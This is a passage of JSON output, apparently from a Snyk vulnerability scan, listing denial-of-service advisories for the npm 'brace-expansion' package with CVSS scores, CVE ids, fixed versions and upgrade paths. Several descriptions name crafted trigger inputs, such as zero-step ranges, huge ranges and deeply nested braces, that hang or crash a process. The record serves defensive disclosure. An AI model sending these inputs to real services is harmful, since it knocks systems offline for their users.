"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { 